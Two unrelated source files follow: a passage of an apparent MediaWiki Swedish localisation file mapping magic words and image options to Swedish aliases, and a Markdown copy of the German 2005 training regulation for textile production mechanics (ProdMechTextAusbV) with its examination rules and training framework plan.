'1', 'ANTALREDIGERINGAR', 'NUMBEROFEDITS' ), 'numberofviews' => array( '1', 'ANTALVISNINGAR', 'NUMBEROFVIEWS' ), 'pagename' => array( '1', 'SIDNAMN', 'PAGENAME' ), 'pagenamee' => array( '1', 'SIDNAMNE', 'PAGENAMEE' ), 'namespace' => array( '1', 'NAMNRYMD', 'NAMESPACE' ), 'namespacee' => array( '1', 'NAMNRYMDE', 'NAMESPACEE' ), 'talkspace' => array( '1', 'DISKUSSIONSRYMD', 'TALKSPACE' ), 'talkspacee' => array( '1', 'DISKUSSIONSRYMDE', 'TALKSPACEE' ), 'subjectspace' => array( '1', 'ARTIKELRYMD', 'SUBJECTSPACE', 'ARTICLESPACE' ), 'subjectspacee' => array( '1', 'ARTIKELRYMDE', 'SUBJECTSPACEE', 'ARTICLESPACEE' ), 'fullpagename' => array( '1', 'HELASIDNAMNET', 'FULLPAGENAME' ), 'fullpagenamee' => array( '1', 'HELASIDNAMNETE', 'FULLPAGENAMEE' ), 'subpagename' => array( '1', 'UNDERSIDNAMN', 'SUBPAGENAME' ), 'subpagenamee' => array( '1', 'UNDERSIDNAMNE', 'SUBPAGENAMEE' ), 'basepagename' => array( '1', 'GRUNDSIDNAMN', 'BASEPAGENAME' ), 'basepagenamee' => array( '1', 'GRUNDSIDNAMNE', 'BASEPAGENAMEE' ), 'talkpagename' => array( '1', 'DISKUSSIONSSIDNAMN', 'TALKPAGENAME' ), 'talkpagenamee' => array( '1', 'DISKUSSIONSSIDNAMNE', 'TALKPAGENAMEE' ), 'msg' => array( '0', 'MED:', 'MSG:' ), 'subst' => array( '0', 'BYT:', 'SUBST:' ), 'msgnw' => array( '0', 'MEDNW:', 'MSGNW:' ), 'img_thumbnail' => array( '1', 'miniatyr', 'mini', 'thumbnail', 'thumb' ), 'img_manualthumb' => array( '1', 'miniatyr=$1', 'mini=$1', 'thumbnail=$1', 'thumb=$1' ), 'img_right' => array( '1', 'höger', 'right' ), 'img_left' => array( '1', 'vänster', 'left' ), 'img_none' => array( '1', 'ingen', 'none' ), 'img_center' => array( '1', 'centrerad', 'center', 'centre' ), 'img_framed' => array( '1', 'inramad', 'ram', 'framed', 'enframed', 'frame' ), 'img_frameless' => array( '1', 'ramlös', 'frameless' ), 'img_page' => array( '1', 'sida=$1', 'sida $1', 'page=$1', 'page $1' ), 'img_upright' => array( '1', 'stående', 'stående=$1', 'stående $1', 'upright', 'upright=$1', 'upright $1' ), 'img_border' => array( '1', 'kantlinje', 'border' ), 'img_baseline' => array( '1', 'baslinje', 'baseline' ), 'img_sub' => array( '1', 'ned', 'sub' ), 'img_super' => array( '1', 'upp', 'super', 'sup' ), 'img_top' => array( '1', 'topp', 'top' ), 'img_text_top' => array( '1', 'text-topp', 'text-top' ), 'img_middle' => array( '1', 'mitten', 'middle' ), 'img_bottom' => array( '1', 'botten', 'bottom' ), 'img_text_bottom' => array( '1', 'text-botten', 'text-bottom' ), 'img_link' => array( '1', 'länk=$1', 'link=$1' ), 'sitename' => array( '1', 'SAJTNAMN', 'SITENAMN', 'SITENAME' ), 'ns' => array( '0', 'NR:', 'NS:' ), 'localurl' => array( '0', 'LOKALURL:', 'LOCALURL:' ), 'localurle' => array( '0', 'LOKALURLE:', 'LOCALURLE:' ), 'servername' => array( '0', 'SERVERNAMN', 'SERVERNAME' ), 'scriptpath' => array( '0', 'SKRIPTSÖKVÄG', 'SCRIPTPATH' ), 'grammar' => array( '0', 'GRAMMATIK:', 'GRAMMAR:' ), 'gender' => array( '0', 'KÖN:', 'GENDER:' ), 'currentweek' => array( '1', 'NUVARANDEVECKA', 'NUVECKA', 'CURRENTWEEK' ), 'currentdow' => array( '1', 'NUVARANDEVECKODAG', 'CURRENTDOW' ), 'localweek' => array( '1', 'LOKALVECKA', 'LOCALWEEK' ), 'localdow' => array( '1', 'LOKALVECKODAG', 'LOCALDOW' ), 'revisionid' => array( '1', 'REVISIONSID', 'REVISIONID' ), 'revisionday' => array( '1', 'REVISIONSDAG', 'REVISIONDAY' ), 'revisionday2' => array( '1', 'REVISIONSDAG2', 'REVISIONDAY2' ), 'revisionmonth' => array( '1', 'REVISIONSMÅNAD', 'REVISIONMONTH' ), 'revisionyear' => array( '1', 'REVISIONSÅR', 'REVISIONYEAR' ), 'revisiontimestamp' => array( '1', 'REVISIONSTIDSSTÄMPEL', 'REVISIONTIMESTAMP' ), 'revisionuser' => array( '1', 'REVISIONSANVÄNDARE', 'REVISIONUSER' ), 'fullurl' => array( '0', 'FULLTURL:', 'FULLURL:' ), 'fullurle' => array( '0', 'FULLTURLE:', 'FULLURLE:' ), 'lcfirst' => array( '0', 'LBFÖRST:', 'LCFIRST:' ), 'ucfirst' => array( '0', 'UCFIRST', 'SBFÖRST:', 'UCFIRST:' ), 'lc' => array( '0', 'LB:', 'LC:' ), 'uc' => array( '0', 'SB:', 'UC:' ), 'raw' => array( '0', 'RÅ:', 'RAW:' ), 'displaytitle' => array( '1', 'VISATITEL', 'DISPLAYTITLE' ), 'newsectionlink' => array( '1', '__NYTTAVSNITTLÄNK__', '__NEWSECTIONLINK__' ), 'currentversion' => array( '1', 'NUVARANDEVERSION', 'NUVERSION', 'CURRENTVERSION' ), 'currenttimestamp' => array( '1', 'NUTIDSTÄMPEL', 'CURRENTTIMESTAMP' ), 'localtimestamp' => array( '1', 'LOKALTIDSTÄMPEL', 'LOCALTIMESTAMP' ), 'language' => array( '0', '#SPRÅK:', '#LANGUAGE:' ), 'contentlanguage' => array( '1', 'INNEHÅLLSSPRÅK', 'CONTENTLANGUAGE', 'CONTENTLANG' ), 'pagesinnamespace' => array( '1', 'SIDORINAMNRYMD:', 'SIDORINR:', 'PAGESINNAMESPACE:', 'PAGESINNS:' ), 'numberofadmins' => array( '1', 'ANTALADMINS', 'ANTALADMINISTRATÖRER', 'NUMBEROFADMINS' ), 'formatnum' => array( '0', 'FORMATERANUM', 'FORMATERATAL', 'FORMATNUM' ), 'defaultsort' => array( '1', 'STANDARDSORTERING:', 'DEFAULTSORT:', 'DEFAULTSORTKEY:', 'DEFAULTCATEGORYSORT:' ), 'filepath' => array( '0', 'FILSÖKVÄG:', 'FILEPATH:' ), 'tag' => array( '0', 'tagg', 'tag' ), 'hiddencat' => array( '1', '__DOLDKAT__', '__HIDDENCAT__' ), 'pagesincategory' => array( '1', 'SIDORIKATEGORI', 'PAGESINCATEGORY', 'PAGESINCAT' ), 'pagesize' => array( '1', 'SIDSTORLEK', 'PAGESIZE' ), 'index' => array( '1', '__INDEXERA__', '__INDEX__' ), 'noindex' => array( '1', '__INTEINDEXERA_', '__NOINDEX__' ), 'numberingroup' => array( '1', 'ANTALIGRUPP', 'NUMBERINGROUP', 'NUMINGROUP' ), 'staticredirect' => array( '1', '__STATISKOMDIRIGERING__', '__STATICREDIRECT__' ), 'protectionlevel' => array( '1', 'SKYDDSNIVÅ', 'PROTECTIONLEVEL' ), 'formatdate' => array( '0', 'formateradatum', 'datumformat', 'formatdate', 'dateformat' ), ); $linkTrail = '/^([a-zåäöéÅÄÖÉ]+)(.*)$/sDu'; $separatorTransformTable = array( ',' => "\xc2\xa0", // @bug 2749 '.' => ',' ); $dateFormats = array( 'mdy time' => 'H.i', 'mdy date' => 'F j, Y', 'mdy both' => 'F j, Y "kl." H.i', 'dmy time' => 'H.i', 'dmy date' => 'j F Y', 'dmy both' => 'j F Y "kl." H.i', 'ymd time' => 'H.i', 'ymd date' => 'Y F j', 'ymd both' => 'Y F j "kl." H.i', );
{ "pile_set_name": "Github" }
--- Title: Verordnung über die Berufsausbildung zum Produktionsmechaniker- Textil/zur Produktionsmechanikerin-Textil jurabk: ProdMechTextAusbV layout: default origslug: prodmechtextausbv slug: prodmechtextausbv --- # Verordnung über die Berufsausbildung zum Produktionsmechaniker- Textil/zur Produktionsmechanikerin-Textil (ProdMechTextAusbV) Ausfertigungsdatum : 2005-05-09 Fundstelle : BGBl I: 2005, 1277 Zuletzt geändert durch : Art. 1 V v. 7.5.2007 I 686 ## Eingangsformel Auf Grund des § 4 Abs. 1 in Verbindung mit § 5 des Berufsbildungsgesetzes vom 23. März 2005 (BGBl. I S. 931) verordnet das Bundesministerium für Wirtschaft und Arbeit im Einvernehmen mit dem Bundesministerium für Bildung und Forschung: ## § 1 Staatliche Anerkennung des Ausbildungsberufes Der Ausbildungsberuf Produktionsmechaniker-Textil/ Produktionsmechanikerin-Textil wird staatlich anerkannt. ## § 2 Ausbildungsdauer Die Ausbildung dauert drei Jahre. ## § 3 Zielsetzung der Berufsausbildung Die in dieser Verordnung genannten Fertigkeiten, Kenntnisse und Fähigkeiten sollen bezogen auf Arbeits- und Geschäftsprozesse vermittelt werden. Die Fertigkeiten, Kenntnisse und Fähigkeiten sollen so vermittelt werden, dass die Auszubildenden zur Ausübung einer qualifizierten beruflichen Tätigkeit im Sinne des § 1 Abs. 3 des Berufsbildungsgesetzes befähigt werden, die insbesondere selbstständiges Planen, Durchführen und Kontrollieren sowie das Handeln im betrieblichen Gesamtzusammenhang einschließt. Die in Satz 2 beschriebene Befähigung ist auch in den Prüfungen nach den §§ 8 und 9 nachzuweisen. ## § 4 Ausbildungsberufsbild Gegenstand der Berufsausbildung sind mindestens die folgenden Fertigkeiten, Kenntnisse und Fähigkeiten: 1. Berufsbildung, Arbeits- und Tarifrecht, 2. Aufbau und Organisation des Ausbildungsbetriebes, 3. Sicherheit und Gesundheitsschutz bei der Arbeit, 4. Umweltschutz, 5. Zuordnen, Bearbeiten und Handhaben von Werk-, Betriebs- und Hilfsstoffen, 6. Betriebliche und technische Kommunikation, 7. Planen und Vorbereiten von Arbeitsabläufen, 8. Kontrollieren von textilen Fertigungsprozessen und Prüfen von Kenndaten, 9. Branchenspezifische Fertigungstechniken, 10. Steuerungs- und Regelungstechnik, 11. Einrichten, Bedienen und Überwachen von Produktionsmaschinen und -anlagen, 12. Steuern des Materialflusses, 13. Rüsten von Produktionsmaschinen und -anlagen, 14. Instandhaltung, 15. Durchführen von qualitätssichernden Maßnahmen. ## § 5 Ausbildungsrahmenplan Die in § 4 genannten Fertigkeiten, Kenntnisse und Fähigkeiten (Ausbildungsberufsbild) sollen nach der in der Anlage enthaltenen Anleitung zur sachlichen und zeitlichen Gliederung der Berufsausbildung (Ausbildungsrahmenplan) vermittelt werden. Eine von dem Ausbildungsrahmenplan abweichende sachliche und zeitliche Gliederung der Ausbildungsinhalte ist insbesondere zulässig, soweit betriebspraktische Besonderheiten die Abweichung erfordern. ## § 6 Ausbildungsplan Die Ausbildenden haben unter Zugrundelegung des Ausbildungsrahmenplans für die Auszubildenden einen Ausbildungsplan zu erstellen. ## § 7 Schriftlicher Ausbildungsnachweis Die Auszubildenden haben einen schriftlichen Ausbildungsnachweis zu führen. Ihnen ist Gelegenheit zu geben, den schriftlichen Ausbildungsnachweis während der Ausbildungszeit zu führen. Die Ausbildenden haben den schriftlichen Ausbildungsnachweis regelmäßig durchzusehen. ## § 8 Zwischenprüfung (1) Zur Ermittlung des Ausbildungsstandes ist eine Zwischenprüfung durchzuführen. Sie soll vor dem Ende des zweiten Ausbildungsjahres stattfinden. (2) Die Zwischenprüfung erstreckt sich auf die in der Anlage für die ersten 18 Monate aufgeführten Fertigkeiten, Kenntnisse und Fähigkeiten sowie auf den im Berufsschulunterricht entsprechend dem Rahmenlehrplan zu vermittelnden Lehrstoff, soweit er für die Berufsausbildung wesentlich ist. (3) Der Prüfling soll zeigen, dass er 1. Arbeitsabläufe strukturieren sowie Werk-, Betriebs- und Hilfsstoffe, Arbeitsmittel und -geräte handhaben, technische Unterlagen nutzen, qualitätssichernde Maßnahmen durchführen sowie Vorschriften und Regeln für Sicherheit und Gesundheitsschutz bei der Arbeit, Unfallverhütungsvorschriften und Umweltschutzbestimmungen einhalten, 2. Prozessdaten einstellen, Produktionsmaschinen und -anlagen in Betrieb nehmen und überwachen, 3. Prüfverfahren auswählen, Prüfungen durchführen, Prüfergebnisse bewerten und dokumentieren, 4. produktionsbezogene Berechnungen durchführen, 5. textile Herstellungsverfahren und technologische Zusammenhänge unterscheiden, 6. Eigenschaften von textilen Werkstoffen unterscheiden, 7. textile Werk-, Betriebs- und Hilfsstoffe vorbereiten und handhaben, 8. Werkstücke oder Maschinenelemente prüfen und bearbeiten kann. Diese Anforderungen sollen während der Durchführung eines Teilprozesses nachgewiesen werden. (4) Die Prüfung besteht aus der Ausführung einer komplexen Arbeitsaufgabe und schriftlicher Aufgabenstellungen. Die Prüfung soll in insgesamt höchstens sieben Stunden durchgeführt werden. Die schriftlichen Aufgabenstellungen sollen einen zeitlichen Umfang von höchstens 120 Minuten haben. Die komplexe Arbeitsaufgabe ist mit 60 Prozent und die schriftlichen Aufgabenstellungen mit 40 Prozent zu gewichten. ## § 9 Abschlussprüfung (1) Die Abschlussprüfung erstreckt sich auf die in der Anlage aufgeführten Fertigkeiten, Kenntnisse und Fähigkeiten sowie auf den im Berufsschulunterricht vermittelten Lehrstoff, soweit er für die Berufsausbildung wesentlich ist. (2) Die Abschlussprüfung besteht aus den Prüfungsbereichen 1. Arbeitsauftrag, 2. Fertigungstechnik, 3. Maschinen- und Anlagentechnik sowie 4. Wirtschafts- und Sozialkunde. Dabei sind Berufsbildung, Arbeits- und Tarifrecht, Aufbau und Organisation des Ausbildungsbetriebes, Sicherheit und Gesundheitsschutz bei der Arbeit, Umweltschutz, Anwenden von Informations- und Kommunikationssystemen, Planen und Vorbereiten von Arbeitsabläufen sowie Durchführen von qualitätssichernden Maßnahmen zu berücksichtigen. (3) Der Prüfling soll im Prüfungsbereich Arbeitsauftrag zeigen, dass er 1. Arbeitsabläufe unter Beachtung wirtschaftlicher, technischer und organisatorischer Vorgaben kundenorientiert planen und abstimmen, 2. Produktions- und Qualitätsdaten erstellen, aufbereiten und dokumentieren, 3. Produktionsmaschinen und -anlagen rüsten, 4. branchenspezifische Fertigungstechniken unter Berücksichtigung der Prozessabläufe anwenden, 5. Produktionsmaschinen und -anlagen instand halten, 6. Produktionsmaschinen und -anlagen bedienen und überwachen, Steuerungs- und Regelungstechniken anwenden, 7. Fehler bestimmen und Störungen beheben, 8. Ergebnisse prüfen und dokumentieren kann. Zum Nachweis kommt insbesondere das Rüsten oder Instandhalten einer Produktionsmaschine oder -anlage einschließlich Durchführen und Überwachen eines Prozessablaufes in Betracht. (4) Der Prüfling soll zum Nachweis der Anforderungen im Prüfungsbereich Arbeitsauftrag 1. in höchstens 21 Stunden einen betrieblichen Auftrag durchführen und mit praxisbezogenen Unterlagen dokumentieren sowie darüber ein Fachgespräch von höchstens 30 Minuten führen. Das Fachgespräch wird auf der Grundlage der Dokumentation des bearbeiteten betrieblichen Auftrags geführt. Unter Berücksichtigung der praxisbezogenen Unterlagen sollen durch das Fachgespräch die prozessrelevanten Fertigkeiten, Kenntnisse und Fähigkeiten in Bezug zur Auftragsdurchführung bewertet werden. Dem Prüfungsausschuss ist vor der Durchführung des Auftrags die Aufgabenstellung einschließlich eines geplanten Bearbeitungszeitraums zur Genehmigung vorzulegen; oder 2. in höchstens 14 Stunden eine praktische Aufgabe vorbereiten, durchführen, nachbereiten und mit aufgabenspezifischen Unterlagen dokumentieren sowie darüber ein Fachgespräch von insgesamt höchstens 20 Minuten führen. Die prozessrelevanten Qualifikationen sollen in Bezug zur praktischen Aufgabe durch Beobachtung der Durchführung der praktischen Aufgabe und den aufgabenspezifischen Unterlagen bewertet werden. (5) Der Ausbildungsbetrieb wählt die Prüfungsvariante nach Absatz 4 aus und teilt sie dem Prüfling und der zuständigen Stelle mit der Anmeldung zur Prüfung mit. (6) Der Prüfling soll im Prüfungsbereich Fertigungstechnik in höchstens 120 Minuten Fertigkeiten, Kenntnisse und Fähigkeiten aus den Bereichen Werk-, Betriebs- und Hilfsstoffe, Musterungstechnik, Konstruktionstechnik, Prüfverfahren, branchenspezifische Fertigungsprozesse und Bewertung von Kenndaten durch die Bearbeitung praxisbezogener handlungsorientierter Aufgaben nachweisen. (7) Der Prüfling soll im Prüfungsbereich Maschinen- und Anlagentechnik in höchstens 120 Minuten Fertigkeiten, Kenntnisse und Fähigkeiten aus den Bereichen Instandhaltung, Rüsten, Steuerungs- und Regelungstechnik sowie Materialfluss durch die Bearbeitung praxisbezogener handlungsorientierter Aufgaben nachweisen. (8) In den Prüfungsbereichen Fertigungstechnik sowie Maschinen- und Anlagentechnik soll der Prüfling zeigen, dass er praxisbezogene Fälle mit verknüpften technologischen, mathematischen und prozessorientierten Inhalten analysieren, bewerten und lösen kann. Dabei sollen die Sicherheit und der Gesundheitsschutz bei der Arbeit, der Umweltschutz, der Umgang mit Informations- und Kommunikationssystemen, kundenorientierte sowie qualitätssichernde Maßnahmen einbezogen werden. (9) Der Prüfling soll im Prüfungsbereich Wirtschafts- und Sozialkunde in höchstens 60 Minuten praxisbezogene handlungsorientierte Aufgaben bearbeiten und dabei zeigen, dass er allgemeine wirtschaftliche und gesellschaftliche Zusammenhänge der Berufs- und Arbeitswelt darstellen und beurteilen kann. (10) Die Prüfungsbereiche Fertigungstechnik, Maschinen- und Anlagentechnik sowie Wirtschafts- und Sozialkunde sind auf Antrag des Prüflings oder nach Ermessen des Prüfungsausschusses in einzelnen Prüfungsbereichen durch eine mündliche Prüfung zu ergänzen, wenn diese für das Bestehen der Prüfung den Ausschlag geben kann. Bei der Ermittlung des Ergebnisses für die mündlich geprüften Prüfungsbereiche sind die bisherigen Ergebnisse und die Ergebnisse der mündlichen Ergänzungsprüfung im Verhältnis 2 : 1 zu gewichten. (11) Die Prüfung ist bestanden, wenn 1. im Prüfungsbereich Arbeitsauftrag und 2. im Gesamtergebnis der Prüfungsbereiche Fertigungstechnik und Maschinen- und Anlagentechnik sowie Wirtschafts- und Sozialkunde jeweils mindestens ausreichende Leistungen erbracht wurden. Dabei haben die Prüfungsbereiche Fertigungstechnik sowie Maschinen- und Anlagentechnik jeweils das doppelte Gewicht gegenüber dem Prüfungsbereich Wirtschafts- und Sozialkunde. In zwei der Prüfungsbereiche nach Nummer 2 müssen mindestens ausreichende Leistungen, in dem weiteren Prüfungsbereich nach Nummer 2 dürfen keine ungenügenden Leistungen erbracht worden sein. ## § 9a Anrechnungsregelung Die erfolgreich abgeschlossene Berufsausbildung im Ausbildungsberuf Produktprüfer-Textil/Produktprüferin-Textil nach der Verordnung über die Berufsausbildung zum Produktprüfer-Textil/zur Produktprüferin- Textil vom 7. Mai 2007 (BGBl. I S. 680) kann nach den Vorschriften für das zweite und dritte Ausbildungsjahr dieser Verordnung fortgesetzt werden. ## § 10 Bestehende Berufsausbildungsverhältnisse Berufsausbildungsverhältnisse, die bei Inkrafttreten dieser Verordnung bestehen, können unter Anrechnung der bisher zurückgelegten Ausbildungszeit nach den Vorschriften dieser Verordnung fortgesetzt werden, wenn die Vertragsparteien dies vereinbaren. ## § 11 Inkrafttreten, Außerkrafttreten Diese Verordnung tritt am 1. August 2005 in Kraft . ## Anlage (zu § 5) Ausbildungsrahmenplan für die Berufsausbildung zum Produktionsmechaniker-Textil/zur Produktionsmechanikerin-Textil (Fundstelle: BGBl. I 2005, 1280 - 1284) * * Lfd. Nr. * Teil des Ausbildungsberufsbildes * Zu vermittelnde Fertigkeiten, Kenntnisse und Fähigkeiten * Zeitliche Richtwerte in Wochen im * * 1. - 18. Monat * 19. - 36. Monat * * 1 * 2 * 3 * 4 * * 1 * Berufsbildung, Arbeits- und Tarifrecht (§ 4 Nr. 1) * a) * Bedeutung des Ausbildungsvertrages, insbesondere Abschluss, Dauer und Beendigung, erklären * während der gesamten Ausbildung zu vermitteln * * b) * gegenseitige Rechte und Pflichten aus dem Ausbildungsvertrag nennen * * c) * Möglichkeiten der beruflichen Fortbildung nennen * * d) * wesentliche Teile des Arbeitsvertrages nennen * * e) * wesentliche Bestimmungen der für den ausbildenden Betrieb geltenden Tarifverträge nennen * * 2 * Aufbau und Organisation des Ausbildungsbetriebes (§ 4 Nr. 2) * a) * Aufbau und Aufgaben des ausbildenden Betriebes erläutern * * b) * Grundfunktionen des ausbildenden Betriebes, wie Beschaffung, Fertigung, Absatz und Verwaltung, erklären * * c) * Beziehungen des ausbildenden Betriebes und seiner Beschäftigten zu Wirtschaftsorganisationen, Berufsvertretungen und Gewerkschaften nennen * * d) * Grundlagen, Aufgaben und Arbeitsweise der betriebsverfassungs-oder personalvertretungsrechtlichen Organe des ausbildenden Betriebes beschreiben * * 3 * Sicherheit und Gesundheitsschutz bei der Arbeit (§ 4 Nr. 3) * a) * Gefährdung von Sicherheit und Gesundheit am Arbeitsplatz feststellen und Maßnahmen zu ihrer Vermeidung ergreifen * * b) * berufsbezogene Arbeitsschutz- und Unfallverhütungsvorschriften anwenden * * c) * Verhaltensweisen bei Unfällen beschreiben sowie erste Maßnahmen einleiten * * d) * Vorschriften des vorbeugenden Brandschutzes anwenden; Verhaltensweisen bei Bränden beschreiben und Maßnahmen zur Brandbekämpfung ergreifen * * 4 * Umweltschutz (§ 4 Nr. 4) * Zur Vermeidung betriebsbedingter Umweltbelastungen im beruflichen Einwirkungsbereich beitragen, insbesondere * * a) * mögliche Umweltbelastungen durch den Ausbildungsbetrieb und seinen Beitrag zum Umweltschutz an Beispielen erklären * * b) * für den Ausbildungsbetrieb geltende Regelungen des Umweltschutzes anwenden * * c) * Möglichkeiten der wirtschaftlichen und umweltschonenden Energie- und Materialverwendung nutzen * * d) * Abfälle vermeiden; Stoffe und Materialien einer umweltschonenden Entsorgung zuführen * * 5 * Zuordnen, Bearbeiten und Handhaben von Werk-, Betriebs- und Hilfsstoffen (§ 4 Nr. 5) * a) * Werkstoffe identifizieren, nach Verwendungszweck unterscheiden und bearbeiten, Prüftechniken anwenden * 10 * * * b) * Einfluss von Werkstoffeigenschaften auf Fertigprodukte berücksichtigen * * c) * Gebrauchs- und Pflegeanforderungen von Textilien unterscheiden * * d) * Fertigungstechniken von textilen linienförmigen Gebilden unterscheiden, Eigenschaften und Konstruktionsmerkmale bestimmen, Feinheitsbezeichnungen anwenden sowie Feinheitsberechnungen durchführen * * e) * Fertigungstechniken von textilen Flächengebilden und Verbundstoffen oder Füge- und Formgebungstechniken unterscheiden * * f) * Eigenschaften und Konstruktionsmerkmale bestimmen, textile Massenberechnungen durchführen * * g) * Auswirkungen von Fasereigenschaften auf Produktionsprozesse berücksichtigen * * 4 * * h) * Veredelungsprozesse hinsichtlich ihrer Art und Auswirkungen unterscheiden * * 6 * Betriebliche und technische Kommunikation (§ 4 Nr. 6) * a) * Informationen beschaffen, aufbereiten und bewerten * 8 * * * b) * betriebliche Vorschriften beachten * * c) * technische Unterlagen, insbesondere Betriebs- und Arbeitsanweisungen sowie Richtlinien handhaben und umsetzen, Grundbegriffe der Normung anwenden * * d) * Skizzen und Zeichnungen erstellen * * e) * Informations- und Kommunikationstechniken anwenden * * f) * Daten eingeben, sichern und pflegen, Vorschriften zum Datenschutz beachten * * g) * Gespräche mit Vorgesetzten, Mitarbeitern und im Team situationsgerecht führen, Sachverhalte darstellen, fremdsprachliche Fachausdrücke anwenden * * h) * produktionstechnische Daten anwenden und Arbeitsergebnisse dokumentieren * * 2 * * 7 * Planen und Vorbereiten von Arbeitsabläufen (§ 4 Nr. 7) * a) * Auftragsunterlagen prüfen, Auftragsziele im eigenen Arbeitsbereich festlegen * 3 * * * b) * Werk-, Betriebs- und Hilfsstoffe sowie Arbeitsmittel auswählen und bereitstellen * * c) * Arbeitsplatz nach ergonomischen und sicherheitsrelevanten Gesichtspunkten einrichten * * d) * Aufgaben im Team planen und durchführen * * 4 * * e) * Arbeitsabläufe und Arbeitsschritte unter Beachtung wirtschaftlicher und terminlicher Vorgaben planen und mit vor- und nachgelagerten Bereichen abstimmen, festlegen und dokumentieren * * 8 * Kontrollieren von textilen Fertigungsprozessen und Prüfen von Kenndaten (§ 4 Nr. 8) * a) * Prüfverfahren und -mittel nach Verwendungszweck auswählen * 6 * * * b) * Prozessabläufe kontrollieren, Prüfungen unter Berücksichtigung von Vorgaben, Toleranzen und Prüfnormen durchführen * * c) * Prüfergebnisse dokumentieren und bewerten * * d) * Korrekturmaßnahmen einleiten und durchführen * * 3 * * e) * Kenndaten ermitteln, Fehler erfassen und auswerten, Mess- und Prüfprotokolle erstellen und interpretieren * * 9 * Branchenspezifische Fertigungstechniken (§ 4 Nr. 9) * a) * Produktionsmaschinen und -anlagen nach Fertigungsverfahren und Prozessstufen auswählen * 12 * * * b) * Konstruktionen von linienförmigen Gebilden, Flächen oder Verbundstoffen darstellen * * c) * produktionsbezogene Berechnungen durchführen * * d) * Prozesszusammenhänge erfassen * * 17 * * e) * Arbeitsergebnisse prüfen, dokumentieren und bewerten * * f) * Mustervorlagen analysieren, Konstruktionstechniken und Produktmerkmale bestimmen * * g) * technische Patronen oder Schablonen entwickeln sowie Rapporte festlegen und auf technische Durchführbarkeit prüfen * * * oder * * * Konstruktionstechniken für die Erzeugung von linienförmigen Gebilden, Flächen oder Verbundstoffen festlegen und anwenden * * * oder * * * Füge- und Formgebungstechniken anwenden * * h) * Techniken zum Verändern von Oberflächenstrukturen und von Produkteigenschaften festlegen und anwenden * * i) * Datenträger für Musterungs-, Konstruktions-, Füge oder Formgebungstechniken erstellen, modifizieren und handhaben * * 10 * Steuerungs- und Regelungstechnik (§ 4 Nr. 10) * a) * Steuerungssysteme sowie Methoden des Steuerns und Regelns unterscheiden * 8 * * * b) * Überwachungseinrichtungen nach Aufbau und Funktion unterscheiden * * c) * Steuerungs- und Regelungseinrichtungen an Maschinen und Anlagen unter Beachtung der Sicherheitsvorschriften überwachen und bedienen * * d) * Maschinen und Anlagen zur Änderung von Produkteigenschaften steuern * * 8 * * e) * Schalt- und Funktionspläne verschiedener Systeme im Kleinspannungsbereich anwenden * * f) * mit Kleinspannung betriebene Komponenten prüfen * * g) * Fehlerbeseitigung einleiten und durchführen * * 11 * Einrichten, Bedienen und Überwachen von Produktionsmaschinen und -anlagen (§ 4 Nr. 11) * a) * Produktionsmaschinen und -anlagen hinsichtlich Funktion und Einsatz unterscheiden * 16 * * * b) * Werk-, Betriebs- und Hilfsstoffe für die Produktion vorbereiten und kennzeichnen * * c) * Prozessdaten einstellen, Maschinen und Anlagen unter Berücksichtigung der Sicherheitsbestimmungen in Betrieb nehmen * * d) * maschinen- und prozessbezogene Berechnungen durchführen * * e) * Warenausfall nach Qualitätsvorgabe prüfen und bei Bedarf optimieren * * f) * Maschinen und Anlagen übergeben, dabei über Produktionsprozess, -stand sowie Veränderungen im Produktionsablauf informieren, Übergabe dokumentieren * * g) * Materialführungs- und Transportsysteme, Warendurchlauf und Produktionsprozesse überwachen und Verfahrensparameter korrigieren * * 6 * * h) * Störungen und Abweichungen sowie deren Ursachen feststellen, beseitigen und Beseitigung veranlassen * * i) * Mehrstellenarbeit rationell organisieren * * 12 * Steuern des Materialflusses (§ 4 Nr. 12) * a) * Werk-, Betriebs- und Hilfsstoffe sowie Produkte transportieren und lagern * 3 * * * b) * Abfälle sammeln, trennen und lagern * * c) * Materialfluss im eigenen Arbeitsbereich überwachen und sicherstellen * * d) * Störungen im Materialfluss feststellen und beseitigen, Materialfluss optimieren * * 2 * * 13 * Rüsten von Produktionsmaschinen und -anlagen (§ 4 Nr. 13) * a) * Produktionsmaschinen und -anlagen bei Artikelwechsel vorrichten, ab- und umrüsten * * 14 * * b) * Austauschteile wechseln und einstellen * * c) * Einstelldaten übertragen oder Datenträger auf Maschinen und Anlagen einlesen * * d) * Probelauf durchführen, Warenausfall prüfen und korrigieren * * 14 * Instandhaltung (§ 4 Nr. 14) * a) * Werkstücke und Maschinenelemente gemäß ihren Werkstoffeigenschaften durch spanlose und spanabhebende Formgebung bearbeiten und prüfen * 10 * * * b) * Maschinenelemente verbinden und Baugruppen zusammenfügen * * c) * Werkzeuge, Maschinen und Anlagen kontrollieren und warten, Reparaturen veranlassen * * 14 * * d) * Austausch von Zusatzeinrichtungen und Verschleißteilen durchführen und veranlassen * * e) * instand gesetzte Maschinen und Anlagen auf Betriebsbereitschaft prüfen und in Betrieb nehmen * * f) * Maschinenstörungen beseitigen, Fehler beseitigen und Fehlerbeseitigung einleiten * * g) * Ersatzteile einsetzen, Vorbeugungsmaßnahmen zur Verringerung von Maschinenstillständen ergreifen * * h) * elektronische, elektrische, hydraulische oder pneumatische Geräte und Überwachungseinrichtungen entsprechend den Sicherheitsbestimmungen anwenden, austauschen und Austausch veranlassen * * i) * Instandhaltungsarbeiten dokumentieren * * 15 * Durchführen von qualitätssichernden Maßnahmen (§ 4 Nr. 15) * a) * Aufgaben und Ziele von qualitätssichernden Maßnahmen unterscheiden * 2 * * * b) * Arbeitsabläufe auf Einhaltung der Qualitätsstandards prüfen * * c) * Produktions-, Qualitäts- und verfahrenstechnische Daten dokumentieren * * 4 * * d) * Ursachen von produktspezifischen Qualitätsabweichungen feststellen * * e) * Korrekturmaßnahmen einleiten und durchführen, Qualitätseinhaltung sicherstellen * * f) * zur kontinuierlichen Verbesserung von Arbeitsvorgängen im eigenen Arbeitsbereich beitragen, insbesondere Methoden und Techniken der Qualitätsverbesserung anwenden * * g) * Arbeiten kundenorientiert durchführen, Produkte kundengerecht kennzeichnen und aufmachen * * h) * Zusammenhänge von qualitätssichernden Maßnahmen erkennen, insbesondere zwischen Produktion, Service und Kosten
{ "pile_set_name": "Github" }
